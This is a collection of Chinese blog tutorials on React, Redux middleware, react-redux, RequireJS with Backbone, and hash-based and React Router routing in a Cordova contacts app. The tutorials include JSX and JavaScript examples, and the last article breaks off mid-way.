注意：你依然可以在一个文件中定义多个类，只要保证导出的只有一个即可。

语言特色

确保“呈现型”的组件功能单一

把 react 组件 分为“逻辑型组件”和“呈现型组件” 是很有必要的。前者包含的是业务逻辑，里面不应该包含HTML；后者一般是可复用的，可以包含HTML。前者可以拥有自己的内部的 state，而后者不应该拥有。

多用 props

如果能用 props 就不要用 state，这一定程度上可以减少应用程序的复杂度。
一般的模式是：创建一个“无状态”的组件（呈现型组件），只负责呈现数据，把包含 state 的“逻辑型组件”做为这些组件的父级组件。 然后把它内部的 state 作为 props传递给下面的呈现型组件。这些逻辑型组件包含了所有的交互逻辑。

使用 propTypes

react 组件 都应该完成 propTypes 验证。每一个 this.props 的属性都应该有一个与之对应的 propTypes。
避免使用这些没有描述意义的 prop-types:


	React.PropTypes.any


	React.PropTypes.array


	React.PropTypes.object




最好使用：


	React.PropTypes.arrayOf


	React.PropTypes.objectOf


	React.PropTypes.instanceOf


	React.PropTypes.shape




永远不要在DOM中保存 state

不要通过 data- 属性或class类。所有的信息应该都存储在javascript中，或者在React组件中，或者在React store 中，如果使用了类似 Redux 这样的框架的话。

React 库和组件

不要使用 backbone 模型

直接使用 flux action，或者 $.ajax 来代替。

尽量少用 jQuery 就少用

永远也不要用jquery去操作DOM。
尝试避免jquery插件的使用。有必要的话，把jquery插件包装在React组件中。
你可以使用 $.ajax（但是不要用其他方法，像 $.post） 来进行网络通信。

复用组件

你可以从react-components.com获取第三方React组件。
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React 是近期非常热门的一个前端开发框架。 这篇文章将介绍如何使用 React 来创建用户界面，希望能够起到抛砖引玉的效果。


相对于其他框架来说，React 提供了非常少的 API， 如同 Gulp， 越是少量的 API 同时意味着越多的可能性。 正如那句名言所说：



  Less is more.




但是，精简的 API 不是意味着没有一定的学习成本，我们还是需要对此框架进行一定的理解。 闲话不多说，让我们进入正题。首先，让我们来了解下 React 中使用到的一些术语。


React 术语



	
React Elements


代表 HTML 元素的 JavaScript 对象。 这些 JavaScript 对象最后被编译成对应的 HTML 元素。



	
Components


封装 React Elements， 包含一个或者多个 React Elements。 Components 用于创建可以复用的 UI 模块，例如 分页，侧栏导航等。



	
JSX


JSX 是 React 定义的一种 JavaScript 语法扩展，类似于 XML 。 JSX 是可选的， 我们完全可以使用 JavaScript 来编写 React 应用， 不过 JSX 提供了一套更为简便的方式来写 React 应用。



	
Virtual DOM


Virtual DOM 是一个模拟 DOM 树的 JavaScript 对象。 React 使用 Virtual DOM 来渲染 UI， 同时监听 Virtual DOM 上数据的变化并自动迁移这些变化到 UI 上。





DEMO 环境准备


首先，在 React Download 页面 下载 Starter Kit，解压到某个地方。


进入到解压后的 build 目录，新建一个 index.html 文件，并且引用 react.js 和 JSXTransformer.js 后就可以开始编写 React 应用了。需要注意如果使用 JSX， 那么 script 标签的 type 应该更改为 text/jsx。


<html>
  <head>
    <meta charset="utf-8" >
    <title>demo</title>
  </head>

  <body>

    <script src="react.js"></script>
    <script src="JSXTransformer.js"></script>
    <script type="text/jsx" src="app.js"></script>
  </body>
</html>



第一个 React Element


创建一个 Element 只需调用 React.createElement 方法，并传入元素信息即可。例如：


var div = React.createElement('div', null, "Hello React");

// 使用 JSX
var div = 

<div>Hello React</div>





创建之后就可以调用 React.render 方法渲染到页面上：


React.render(div, document.body);



第一个 React Component


React Component 抽象出相同 UI 组件的结构和逻辑。 通过调用 React.createClass 方法来创建一个 Component，并传入一个带有 render 方法的对象类型的参数。


var HelloMessage = React.createClass({
  render: function () {
    return 

<div>Hello {this.props.name}</div>

;
  }
});

React.render(<HelloMessage name="iissnan" />, document.body);



我们看到 React.createClass 接收了一个对象，并将这个方法返回赋值给 HelloMessage， 最后调用 React.render 方法将这个新建的 Component 渲染到页面上。从这个例子看来，一个 Component 与 Element 并无太大的差别。 事实上， Component 已经准备好了，我们可以增添一些结构和功能来扩展这个 Component 。


Props


在上一个例子中，可以看到有一个特殊的引用： this.props.name。 这个引用称之为 Props，可以将他想象成 Component 的设置选项。


在使用上， Props 类似于 HTML 中的属性：


React.render(<HelloMessage name="foo" />, document.body);



在 Component 内部，通过 this.props.name 来引用这个 Props：


var HelloMessage = React.createClass({
  render: function () {
    return <div>Hello {this.props.name}</div>;
  }
});



需要注意的是， Props 仅用来定制 Component， 这些数据不应该被改动。 如果涉及到需要做改动的数据， 得考虑使用 state。


Stateful Component


State 数据代表 Component 的状态， 用于维护 Component 内部的状态。 当 State 发生改变之后， React 将会重新渲染 UI 。调用 与 Props 类似， State 数据通过 this.state 访问：


var Greeting = React.createClass({
  getInitialState: function () {
    return { greeted: false };
  },
  greet: function () {
    this.setState({
      greeted: true
    });
  },
  render: function () {
    var response = this.state.greeted ? 'Hi' : '';

    return (
      <div>
        <div>Hello {this.props.name}</div>
        <span>{response}</span>
        <button onClick={this.greet}>Hi</button>
      </div>
    );
  }
});

React.render(<Greeting name="foo" />, document.body);



这个例子中加了几个函数，我们一一来看下。 首先是 getInitialState ， 这个方法在 Component 初始化的时候被调用， 返回 Component 初始时的状态数据。例子中，我们设置了 Component 初始时的 greeted 为 false。

然后是 greet 方法，这个方法被调用之后将修改状态数据 greeted 为 true。


当 State 发生改变后， React 将 Component 渲染到 Virtual DOM，新的 Virtual DOM 与 旧版本的进行比对，检查出改变的部分并更新浏览器的 DOM。 在这个例子中，当按钮被点击后， greeted状态数据发生了变化，UI 跟随着更新。


组合


结合 Props 和 State，我们就可以使用 Component 来创建完整的应用。


var Greeting = React.createClass({
  getInitialState: function () {
    return { greeted: false };
  },
  greet: function () {
    this.setState({
      greeted: true
    });
  },
  render: function () {
    var response = this.state.greeted ? 'Hi' : '';

    return (
      <div>
        <div>Hello {this.props.name}</div>
        <span>{response}</span>
        <button onClick={this.greet}>Hi</button>
      </div>
    );
  }
});

var users = ["foo", "bar", "baz"];

var GreetingApp = React.createClass({
  render: function () {
    var greetings = this.props.users.map(function (user) {
      return <Greeting name={user} />;
    });

    return <div>{greetings}</div>;
  }
});

React.render(<GreetingApp users={users} />, document.body);






原始出处： IIssNan's Notes - ReactJS 快速入门


 Redux学习之一：何为middleware？

作者：三寸天堂
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接触到redux有半个月之久了，最初是被各种概念绕的云里雾里，但是最近自己实现了一个demo之后，才发现redux是如此简洁，简洁到源代码就五部分组成，最大的createStore.js也就151行代码而已。

createStore.js
applyMiddleware.js
bindActionCreators.js
combineReducers.js
compose.js

redux的魅力在于其简洁和FP编程思想。像reducers的设计、curry编程风格等都散发出淡淡的FP的味道。
下面言归正传，进入middleware部分。下面由几个问题领着大家看看middleware的真面目。

1.什么是middleware？

学过nodejs的人对middleware一定不会陌生。在nodejs里面，middleware是req和res之间的中间层，可以做很多事情。但在redux里面，middleware又是什么呢。
https://github.com/rackt/redux/blob/master/docs/advanced/Middleware.md
middleware文档里面有这样一句话：

It provides a third-party extension point between dispatching an
action, and the moment it reaches the reducer.



不难理解，在redux里，middleware是发送action和action到达reducer之间的第三方扩展，也就是中间层。也可以这样说，middleware是架在action和store之间的一座桥梁。

2.为什么要引入middleware？

也许有人会问，到底middleware有什么用？
这就要从action说起。在redux里，action仅仅是携带了数据的普通js对象（ plain JavaScript objects）。action creator返回的值是这个action类型的对象。然后通过store.dispatch()进行分发……

action ---> dispatcher ---> reducers



同步的情况下一切都很完美……
如果遇到异步情况，比如点击一个按钮，希望2秒之后更新视图，显示消息“Hi”。我们可能这么写ActionCreator：

var asyncSayActionCreator = function (message) {
    setTimeout(function () {
        return {
            type: 'SAY',
            message
        }
    }, 2000)
}

这会报错，因为这个asyncSayActionCreator返回的不是一个action，而是一个function。这个返回值无法被reducer识别。
大家可能会想到，这时候需要在action和reducer之间架起一座桥梁……

3.middleware如何工作？

我们看看redux-thunk的代码：

export default function thunkMiddleware({ dispatch, getState }) {
  return next => action =>
    typeof action === 'function' ?
      action(dispatch, getState) :
      next(action);
}

仅仅是区区的6行代码，以至于我第一次看代码的时候怀疑是不是看错了，但其实它就这么简单。一个三目符，如果action是一个函数，执行这个action函数，如果不是函数，执行next函数。
可能大家换是不懂，结合middleware的应用便会一目了然：

const finalCreateStore=applyMiddleware(thunkMiddleware)(createStore)
const store = finalCreateStore(reducer)

这就是我们最常使用middleware的代码。把源码中的next换成createStore，如果action是一个函数（这里的action是改造后的ActionCreator），便会执行这个action(dispatch, getState)函数。

var asyncSayActionCreator = function (message) {
    return function (dispatch) {
        setTimeout(function () {
            dispatch({
                type: 'SAY',
                message
            })
        }, 2000)
    }
}

这里的action是return的函数：

    function (dispatch) {
        setTimeout(function () {
            dispatch({
                type: 'SAY',
                message
            })
        }, 2000)
    }

如果action返回的不是函数，即返回的是action对象的话，执行createStore函数的dispatch方法。
有了middleware之后，数据流动的方向变为：

action ---> dispatcher ---> middleware 1 ---> middleware 2 ---> reducers



4.applyMiddleware都做了什么？

redux2.0对applyMiddleware做了柯里化处理。

import compose from './compose';
export default function applyMiddleware(...middlewares) {
  return (next) => (reducer, initialState) => {
    var store = next(reducer, initialState);
    var dispatch = store.dispatch;
    var chain = [];

    var middlewareAPI = {
      getState: store.getState,
      dispatch: (action) => dispatch(action)
    };
    chain = middlewares.map(middleware => middleware(middlewareAPI));
    dispatch = compose(...chain)(store.dispatch);

    return {
      ...store,
      dispatch
    };
  };
}

其实最核心的代码也就是下面两句：

chain = middlewares.map(middleware => middleware(middlewareAPI));
dispatch = compose(...chain)(store.dispatch);

前一句是执行middlewares数组里的每一个中间件，下一句是将chain柯里化，合成一个函数。

5.自己的middleware怎么写？

学了这些，我们可以自己写一个middleware练练手。
首先在项目下建个middlewares的文件夹，新建一个callTraceMiddleware.js来追踪函数的调用过程。
在funCallTrace.js添加如下代码：

export default function callTraceMiddleware ({dispatch,getState}){
    return next=> action =>{
        console.trace();
        return next(action);
    }
}

然后在调用中间件部分添加中间件：

const createStoreWithMiddleware = applyMiddleware(
  thunkMiddleware,
  loggerMiddleware,
  callTraceMiddleware
)(createStore);

这样我们运行在浏览器窗口就可以看到打印的函数调用轨迹。是不是很简单……

总结

redux的middleware是对action进行扩展处理，这样丰富了应用需求。
以上是我对redux的个人理解，如发现错误恳请批评指正。


 使用React和Flask开发一个留言板

作者：defshine

来源： 使用React和Flask开发一个留言板



                    
近期要在生产环境上使用react，所以，自己学习了一下，写了一个简单的留言板小程序。完整的代码可以到这里下载：message-board


Use


前端使用React，然后还有Bootstrap和jQuery，React负责前端展现，jQuery主要是向服务器发送ajax请求。

后端使用Flask和MongoDB，为前端提供数据。这里主要关注前端，对于后端不做过多说明。

使用webpack，对js文件进行打包。


About React


React是facebook开发一个用于前段交互的Javascript库。

刚刚开始使用，有这么几个特点：

1. 组件化开发。React提倡无状态的组件，便于重用。

2. VirtualDOM。React的性能比较高，得益于虚拟DOM。它不会每次都去直接操作DOM，因为操作DOM的代价是很大的，所以，它在内存中维护了虚拟DOM，通过计算虚拟DOM和浏览器上的DOM的变更进行操作。

3. 专注于View。React不是MVC框架，它只是一个专注于View的库，所以，它也可以和很多其他框架或者库一起使用。

4. 提供完成的生命周期。


Message Board


这个留言板小应用，主要有这样几个功能：

1.添加留言，一个表单：用户名和内容

2.列表展示，显示所有留言

3.简单的分页


Code


使用React，就要对应用进行组件的切分，尽量保持组件的无状态。


App


从宏观上组织整个应用，切分三个大组件：

1. MessageForm，添加留言表单。

2. MessageList，留言列表

3. Pager，留言的分页控制

当然，组件还可以继续划分。

子组件的数据都会回调到MessageBoard中，在这里统一控制。

MessageBoard.js


javascriptvar React = require("react");
var MessageList = require("./MessageList");
var MessageForm = require("./MessageForm");
var Pager =  require("./Pager");

var MessageBoard = React.createClass({
    getInitialState : function(){
        return {
            messages: [],
            page:0,
            pages:0
        }
    },
    submitMessage : function (author, content) {
        $.ajax({
            type:'post',
            url:'/message',
            data:{author:author,content:content}
        }).done(function (data) {
            console.log(data);
            this.listMessage(1);
        }.bind(this));
    },
    listMessage : function(page){
        console.log("listMessages page:"+page)
        $.ajax({
            type:'get',
            url:'/messages',
            data:{page:page}
        }).done(function (resp) {
            if(resp.status == "success"){
                var pager = resp.pager;
                console.log(pager);
                this.setState({
                    messages:pager.messages,
                    page:pager.page,
                    pages:pager.pages
                });
            }
        }.bind(this));
    },
    componentDidMount : function(){
        this.listMessage(1);
    },
    render : function(){
        var pager_props = {
            page : this.state.page,
            pages : this.state.pages,
            listMessage : this.listMessage
        };
        return(


<div>
                <MessageForm submitMessage={this.submitMessage}/>
                <MessageList messages = {this.state.messages}/>
                <Pager {...pager_props}/>
            </div>


        )
    }
});

module.exports = MessageBoard;




MessageForm


一个简单的表单，保存留言。用户提交后，数据会传给父组件。

MessageForm.js


javascriptvar React = require("react");

var MessageForm = React.createClass({
    handleSubmit : function (e) {
        e.preventDefault();
        var author = this.refs.author.getDOMNode().value.trim();
        var content = this.refs.content.getDOMNode().value.trim();

        this.props.submitMessage(author,content);

        this.refs.author.getDOMNode().value = "";
        this.refs.content.getDOMNode().value = ""
    },
    render : function(){
        return(
              <div className="well">
                    <h4>Leave a Message:</h4>
                    <div role="form">
                        <div className="form-group">
                            <input ref="author" className="form-control" placeholder="Name"/>
                            <textarea ref="content" className="form-control" rows="3" placeholder="Leave your message here"></textarea>
                        </div>
                        <a  className="btn btn-primary" onClick={this.handleSubmit}>Submit</a>
                    </div>
                </div>
        )
    }
});
module.exports = MessageForm;



MessageList


留言的列表展示，在写列表之前，把每条留言写成一个组件

Message.js


javascriptvar React = require("react");

var Message = React.createClass({
    render : function(){
        var msg = this.props.message;
        return(


<div>
                <h3>{msg.author}&nbsp;&nbsp;
                    <small>{msg.time.toLocaleString()}</small>
                </h3>
                <p>{msg.content}</p>
            </div>


        )
    }
});

module.exports = Message;



然后，再写列表.

数据从父组件通过props传递进来

MessageList.js


javascriptvar React = require("react");
var Message = require("./Message");

var MessageList = React.createClass({
    render : function () {
        var messages = this.props.messages.map(function(item){
            return <Message message={item}/>
        });
        console.log(messages);
        return(
            <div>
                {messages}
            </div>
        )
    }
});

module.exports = MessageList;



Pager


这是一个简单的分页，会显示当前页和总页数，还有上一页和下一页功能。

Pager.js


javascriptvar React = require("react/addons");

var Pager = React.createClass({
    getDefaultProps : function(){
        return{
            page:0,
            pages:0
        }
    },
    clickHandler: function(e){
        e.preventDefault();
        console.log(e.target.dataset.page);
        console.log(e.target.dataset.page.value);
        this.props.listMessage(e.target.dataset.page);

    },
    render : function(){
        var cx = React.addons.classSet;
        var preClass = cx({
            'previous':true,
            'disabled':this.props.page == 1
        });
        var nextClass = cx({
            'next':true,
            'disabled':this.props.page == this.props.pages
        });

        return(
            <ul className="pager">
                <li className={preClass}  onClick={this.clickHandler}>
                    <a href="#" data-page={this.props.page-1}>&larr;Prev</a>
                </li>
                <li>
                    <span>{this.props.page}/{this.props.pages}</span>
                </li>
                <li className={nextClass}  onClick={this.clickHandler}>
                    <a href="#" data-page={this.props.page+1}>Next&rarr;</a>
                </li>
            </ul>
        )
    }
});

module.exports = Pager;



Summary


一个简单的小程序只能简单的感受一下React，这个库的思路和当前流行的库和框架相比，还是比较新颖的，值得学习～


 连接React和Redux

作者：leozdgao

来源： 连接React和Redux



                    
也可以在这里看：http://leozdgao.me/reacthe-reduxde-qiao-jie-react-redux/

之前一直在探索React相关的东西，手上有个SPA项目，于是准备上Redux试试水。Redux本身和React并没有之间的关联，它是一个通用Javscript App模块，用做App State的管理。要在React的项目中使用Redux，比较好的方式是借助react-redux这个库来做连接，这里的意思是，并不是没有react-redux，这两个库就不弄一起用了，而是说react-redux提供了一些封装，一种更科学的代码组织方式，让我们更舒服地在React的代码中使用Redux。

之前仅通过Redux文档来了解react-redux，在一段时间的实践后准备翻一翻源代码，顺便做些相关的总结。我看的代码的npm版本为v4.0.0，也就是说使用的React版本是0.14.x。

react-redux提供两个关键模块：Provider和connect。

Provider

Provider这个模块是作为整个App的容器，在你原有的App Container的基础上再包上一层，它的工作很简单，就是接受Redux的store作为props，并将其声明为context的属性之一，子组件可以在声明了contextTypes之后可以方便的通过this.context.store访问到store。不过我们的组件通常不需要这么做，将store放在context里，是为了给下面的connect用的。

这个是Provider的使用示例：

// config app root
const history = createHistory()
const root = (
  <Provider store={store} key="provider">
    <Router history={history} routes={routes} />
  </Provider>
)

// render
ReactDOM.render(
  root,
  document.getElementById('root')
)


connect

这个模块是算是真正意义上连接了Redux和React，正好它的名字也叫connect。

先考虑Redux是怎么运作的：首先store中维护了一个state，我们dispatch一个action，接下来reducer根据这个action更新state。

映射到我们的React应用中，store中维护的state就是我们的app state，一个React组件作为View层，做两件事：render和响应用户操作。于是connect就是将store中的必要数据作为props传递给React组件来render，并包装action creator用于在响应用户操作时dispatch一个action。

好了，详细看看connect这个模块做了什么。先从它的使用来说，它的API如下：

connect([mapStateToProps], [mapDispatchToProps], [mergeProps], [options])

mapStateToProps是一个函数，返回值表示的是需要merge进props的state。默认值为() => ({})，即什么都不传。

(state, props) => ({  }) // 通常会省略第二个参数

mapDispatchToProps是可以是一个函数，返回值表示的是需要merge仅props的actionCreators，这里的actionCreator应该是已经被包装了dispatch了的，推荐使用redux的bindActionCreators函数。

(dispatch, props) => ({ // 通常会省略第二个参数
 ...bindActionCreators({
   ...ResourceActions
 }, dispatch)
})

更方便的是可以直接接受一个对象，此时connect函数内部会将其转变为函数，这个函数和上面那个例子是一模一样的。

mergeProps用于自定义merge流程，下面这个是默认流程，parentProps值的就是组件自身的props，可以发现如果组件的props上出现同名，会被覆盖。

(stateProps, dispatchProps, parentProps) => ({
  ...parentProps,
  ...stateProps,
  ...dispatchProps
})

options共有两个开关：pure代表是否打开优化，详细内容下面会提，默认为true，withRef用来给包装在里面的组件一个ref，可以通过getWrappedInstance方法来获取这个ref，默认为false。

connect返回一个函数，它接受一个React组件的构造函数作为连接对象，最终返回连接好的组件构造函数。

然后几个问题：


	React组件如何响应store的变化？


	为什么connect选择性的merge一些props，而不是直接将整个state传入？


	pure优化的是什么？




我们把connect返回的函数叫做Connector，它返回的是内部的一个叫Connect的组件，它在包装原有组件的基础上，还在内部监听了Redux的store的变化，为了让被它包装的组件可以响应store的变化:

trySubscribe() {
  if (shouldSubscribe && !this.unsubscribe) {
    this.unsubscribe = this.store.subscribe(::this.handleChange)
    this.handleChange()
  }
}

handleChange () {
  this.setState({
    storeState: this.store.getState()
  })
}

但是通常，我们connect的是某个Container组件，它并不承载所有App state，然而我们的handler是响应所有state变化的，于是我们需要优化的是：当storeState变化的时候，仅在我们真正依赖那部分state变化时，才重新render相应的React组件，那么什么是我们真正依赖的部分？就是通过mapStateToProps和mapDispatchToProps得到的。

具体优化的方式就是在shouldComponentUpdate中做检查，如果只有在组件自身的props改变，或者mapStateToProps的结果改变，或者是mapDispatchToProps的结果改变时shouldComponentUpdate才会返回true，检查的方式是进行shallowEqual的比较。

所以对于某个reducer来说：

export default (state = {}, action) => {
  return { ...state } // 返回的是一个新的对象，可能会使组件reRender
  // return state // 可能不会使得组件reRender
}

另外在connect的时候，要谨慎map真正需要的state或者actionCreators到props中，以避免不必要的性能损失。

最后，根据connect的API我们发现可以使用ES7 decorator功能来配合React ES6的写法：

@connect(
  state => ({
    user: state.user,
    resource: state.resource
  }),
  dispatch => ({
    ...bindActionCreators({
      loadResource: ResourceActions.load
    }, dispatch)
  })
)
export default class Main extends Component {

}

OK，结束了。


 Backbone React Requirejs 应用实战(一)——RequireJS管理React依赖

作者：phodal

来源： Backbone React Requirejs 应用实战(一)——RequireJS管理React依赖



                    
试着用React替换Mustache打造了一个简单的页面，http://backbone-react.phodal.com/，当然Router用的还是Backbone的Router(react-router似乎还没有做准备好做client-side的Router)。


Backbone RequireJS React 组合


组合的情况以及开发环境如下



	IDE: Webstorm(开源license，支持JSX)

	Backbone: Router + Model

	React: react-with-addons

	JSXTransformer

	react.backbone



其他



	loadsh替换underscore

	zepto替换jquery

	RequireJS jsx插件



RequireJS管理React依赖


JSX Requirejs


github上有一个插件是: jsx-requirejs-plugin



  A RequireJS plugin for JavaScript files containing JSX. It's r.js friendly (i.e. all files containing JSX will be pre-compiled during the r.js build).




于是，安装jsx-requirejs-plugin


bower install jsx-requirejs-plugin --save-dev



Requirejs JSX使用


1.添加paths


    react: 'vendor/react-with-addons.min',
    "JSXTransformer": 'vendor/JSXTransformer',
    jsx: 'vendor/jsx',
    'react.backbone': 'vendor/react.backbone',



2.使用jsx!


require(['jsx!app.react'], function (App) {

});



最后我的main.js如下所示:


'use strict';

require.config({
    paths: {
        jquery: 'vendor/jquery.min',

        react: 'vendor/react-with-addons.min',
        "JSXTransformer": 'vendor/JSXTransformer',
        jsx: 'vendor/jsx',
        'react.backbone': 'vendor/react.backbone',

        backbone: 'vendor/backbone',
        underscore: "vendor/lodash.min",

        text: 'vendor/text'
    },
    shim: {
        underscore: {
            exports: '_'
        }
    }
});

require([
    'backbone', 'jsx!app.react'
], function (Backbone, App) {
    App.initialize();
});



换句话说，我们将app.react.js视作app.react.jsx(这里的.react是为了区分js和jsx)。


下面是我的router.react.js


define([
    'jsx!router.react'
], function (Router) {

    var initialize = function () {
        new Router();
    };

    return {
        initialize: initialize
    };
});



在我们的router里导入了不同的component，下面是一个精简的router


'use strict';

define([
    'underscore',
    'backbone',
    'react',
    'jsx!component/IndexComponent.react',
],function(_, Backbone, React, IndexComponent){
    var AppRouter = Backbone.Router.extend({
        index: function(){
            React.render( <IndexComponent />, document.getElementById('main_content'));
        }
        initialize: function() {
            var self = this,
                routes = [
                    [ /^.*$/, 'index' ]
                ];

            _.each(routes, function(route) {
                self.route.apply(self, route);
            });
            Backbone.history.start();
        }
    });

    return AppRouter;
});



到此，我们可以愉快地用Requirejs管理我们的component。


其他


完整的Router


我的router如下所示:


define([
    'underscore',
    'backbone',
    'react',
    'jsx!component/IndexComponent.react',
    'jsx!component/AboutComponent.react',
    'jsx!component/ProductComponent.react',
    'jsx!component/ProjectComponent.react',
    'jsx!component/LibraryComponent.react',
    'model/UserModel',
    'data/libraries'
],function(_, Backbone, React, IndexComponent, AboutComponent, ProductComponent, ProjectComponent, LibraryComponent, UserModel, libraries){
    var AppRouter = Backbone.Router.extend({
        index: function(){
            React.render( <IndexComponent />, document.getElementById('main_content'));
        },
        about: function(){
            React.render( <AboutComponent />, document.getElementById('main_content'));
        },
        product: function(){
            React.render( <ProductComponent />, document.getElementById('main_content'));
        },
        library: function(){
            React.render( <LibraryComponent items={libraries} />, document.getElementById('main_content'));
        },
        project: function(){
            var user = new UserModel({name: 'phodal'});
            var UserView = React.createFactory(ProjectComponent);
            var userView = new UserView({model: user});
            React.render(userView, document.getElementById('main_content'));
        },
        initialize: function() {
            var self = this,
                routes = [
                    [ /^.*$/, 'index' ],
                    [ 'about', 'about' ],
                    [ 'product', 'product' ],
                    [ 'project', 'project' ],
                    [ 'library', 'library' ]
                ];

            _.each(routes, function(route) {
                self.route.apply(self, route);
            });
            Backbone.history.start();
        }
    });

    return AppRouter;
});



问题



	
JSXTransformer压缩后的大小>100kb



下一篇: 《Backbone React Requirejs 应用实战(二)——使用Backbone Model》


Github: https://github.com/phodal/backbone-react


 [学习笔记] Cordova+AmazeUI+React 做个通讯录 - 单页应用 (With Router)

作者：边城

来源： [学习笔记] Cordova+AmazeUI+React 做个通讯录 - 单页应用 (With Router)



                    

[学习笔记] Cordova+AmazeUI+React 做个通讯录 系列文章

目录


	准备


	联系人列表(1)


	联系人列表(2)


	联系人详情


	单页应用 (With Router)


	使用 SQLite


	[预告] 增删改联系人（因为近一个月事情比较多，所以会推迟一些时候写，见谅）






传送门：全部章节 示例代码





前面实现了联系人列表和详情两个页面，并通过点击事件和返回按钮处理了两个页面之间有切换。但同时引起一个疑问：为什么不是单页程序？

React 的出现不是为了单页应用，但在很多时候用于单页应用。由于其组件化的设计，React 也的确很容易写单页应用。然而说到单页应用，就不得不提到 router，这个曾经只是在服务端使用的名词被单页应用带到了前端。


	router，路由器，路由处理器


	route，路由






单页应用路由的原理和作用

大家都知道，URL 改变会触发浏览器跳转页面——除了一种情况：只改变 # 后面的部分，因为 # 后面的部分是由浏览器为自己设计的跳转标记，连同 # 号一起被称为 hash。它标识了当前页面内部的一个位置，这个位置可能是由 <a name="...."> 标记的，也有可能是标签中的 id 属性标记的。

关于 hash，可以参阅 阮一峰 URL的井号



现代浏览器中，hash 变化会增加访问历史，也会触发相应的事件。但无论如何，hash 变化默认情况都不会向服务器请求数据。因此路由的设计就利用 hash 的特点，通过 hash 的变化来改变当前页面的布局，再利用 AJAX 等技术获取新页面布局所需要的后端数据，完成页面的更新。

由此看来，路由处理器的作用其实是在一定程度上代替了浏览器对 URL 的处理，将由 URL 变化产生的整页更新改变为由 hash 改变而触发局部更新。React 的设计在局部更新这个问题进行了非常优秀的处理，尤其是大大增加了其处理效率。因此 React 非常适合用于单页 Web 应用。

抄一个 router

还记得早前提到的 Sample Mobile Application with React and Cordova 么，在它的 Iteration 5 就提到了 路由处理（Routing），而在其示例代码中也出现了一个新的脚本：router.js。

router 处理的入口通常是 window.onhashchange 事件。在 router.js 中，return 之前就有一句

window.onhashchange = start;

所以主要的处理函数是 function start() {...}。在 start 函数中，最外层循环是在 routes 中循环，而 routes 数组中的内容是由 addRoute() 添加的。所以基本上可以了解这个简易 router 的处理过程：


	配置阶段使用 router.addRoute() 添加路由及其对应的处理函数


	在 window.onhashchange 的时候从当前 url 中取得 hash 并与配置好的路由进行比较，找到合适的路由，执行其处理函数




仔细分析 start() 中的循环可以发现路由处理的一些细节，不过直接看 app.js 中配置 router 的部分可以更快明白这个简易 router 的用法。

在通讯录中使用路由

通讯录现在是由两页完成，index.html 和 detail.html，在使用路由就需要将这两页合并在一起。幸好这两个页面只有一句话不同，只需要将 detail.html 中的 <script type="text/jsx" src="js/detail.jsx"></script> 移到 index.html 中就可以完成合并。

    <script type="text/jsx" src="js/index.jsx"></script>
    <script type="text/jsx" src="js/detail.jsx"></script>

之后可以删除 detail.html。但这样的合并只是第一步。这个时候看到的效果已经不是通讯录列表了，而是“查无此人”。Why？因为 index.jsx 和 detai.jsx 都有 React.render() 语句对 document.body 的内容进行重绘，最后执行的一句覆盖了之前的一句。这也是为什么 Sample Mobile Application with React and Cordova 的 app.js 中，路由处理函数可以起作用的原因。

把页面组件化

要把两个独立页面合并到一个页面用，并通过路由来控制显示，那就很有必要把原来的页面组件化——哦，原来的页面本来就是以组件方式定义的，只不过是作为根组件渲染的。不过原来并没有考虑到会在同一个运行上下文中使用两个页面，所以它们的名字都叫 Page。是时候改个名字：一个叫 IndexPage，一个叫 DetailPage 就挺好。

每个页面组件都使用了一些其它的自定义组件，而这些组件不会被另一个页面组件用到，所以可以对这些组件进行一个私有化封装。就像这样

var IndexPage = (function(A) {
    var Person = React.createClass({ ... });
    return React.createClass({ ... });
})(AMUIReact);

var DetailPage = (function(A) {
    var detailBase = { ... };
    var DetailItem = React.createClass({ ... });
    var DetailLinkItem = React.createClass({ ... });
    var Detail = React.createClass({ ... });
    return React.createClass({ ... });
})(AMUIReact);

新的渲染入口

组件化 IndexPage 和 DetailPage 的时候删除了两个 jsx 中的 React.render(...)，所以还需要一个渲染的入口，不妨加一个 app.jsx：

router.addRoute("", function() {
    React.render(<IndexPage />, document.body);
});

router.addRoute(":id", function() {
    React.render(<DetailPage />, document.body);
});

router.start();

相应的， index.jsx 中跳转到详情的链接也要从 "detail.html#" + this.props.id 改为 "#" + this.props.id。

由于添加了 router.js 和 app.jsx，index.html 中引用脚本的部分也需要做一些调整

    <script src="js/router.js"></script>
    <script type="text/jsx" src="js/index.jsx"></script>
    <script type="text/jsx" src="js/detail.jsx"></script>
    <script type="text/jsx" src="js/app.jsx"></script>

router.js 的位置只需要在 app.jsx 之前就行。这里把它当作一个库来引用，所以放在最前面。

用别人的轮子：React Router


在抄 router 的时候，我就猜想，如果 router 是一个常用的功能，那就一定已经存在现成的库，即使不是 React 官方的，也会有第 3 方的出现。结果使用“react router”作为关键字一搜，就搜到了 React Router。然后参考了 再谈 React Router 使用方法 和 React Router 簡介 两篇文章之后，开始着手修改。

ReactRouter.js

在 React Router 的官网及各种文章中都看到这样的示例

var Router = require("react-router");

这很明显是 node.js 的语法。难道 React Router 不是用于前端的？似乎不太可能啊！

终于在 React Router 的 README.md 中发现它提到了 CDN

If you just want to drop a <script> tag in your page and be done with it, you can use the UMD/global build hosted on cdnjs.



既然有 CDN，那应该是可以在前端使用的，但是从源码包没有发现直接可用的 js 文件，只好按照 README.md 的步骤先 npm install react-router 从 NPM 下载一个下来。果然找到了 UMD build 文件：ReactRouter.js 和 ReactRouter.min.js，把这两个文件和 CDN 上的一比较，一模一样。这下放心了。


UMD(Universal Module Definition) 是 AMD 和 CommonJS 的糅合。UMD 先判断是否支持 Node.js 模块（即 exports 是否存在），存在则使用 Node.js 模式。再判断是否支持 AMD（define 是否存在），存在则使用 AMD 方式加载。

如果不使用 CommonJS，也不使用 AMD，React Router 会挂在 global 对象上，即 window.ReactRouter。



React Router 要点


	React Router 是作为 React 组件设计的，所以它的路由配置是以组件的方式进行的。主要使用 ReactRouter.Route 组件进行配置。


	React Router 同样也是以组件的方式进行渲染的，配置用于显示的组件，最终会显示在 ReactRouter.RouteHandler 组件中。


	需要定义一个 Main 组件来渲染 RouterHandler。而这个 Main 组件将作为 router 配置的根路由处理器（Handler）。


	ReactRouter.run 用于启动 router 处理。路由的参数（:id 这种）一般通过 props.params 对象传递。




修改 app.jsx

因为不想多加一个脚本文件，所以准备把定义 Main 组件和处理路由配置都放在 app.jsx 中进行。

首先是定义 Main。因为 IndexPage 和 DetailPage 都是直接在 body 上渲染的，所以这个 Main 也不需要干多余的事情，直接渲染 RouteHandler 就好

var Main = (function(R) {
    React.createClass({
        render: function() {
            return <R.RouteHandler params={this.props.params} />
        }
    });
})(ReactRouter);

还是按处理 AMUIReact 的办法来处理 ReactRouter，把它简写成 R。

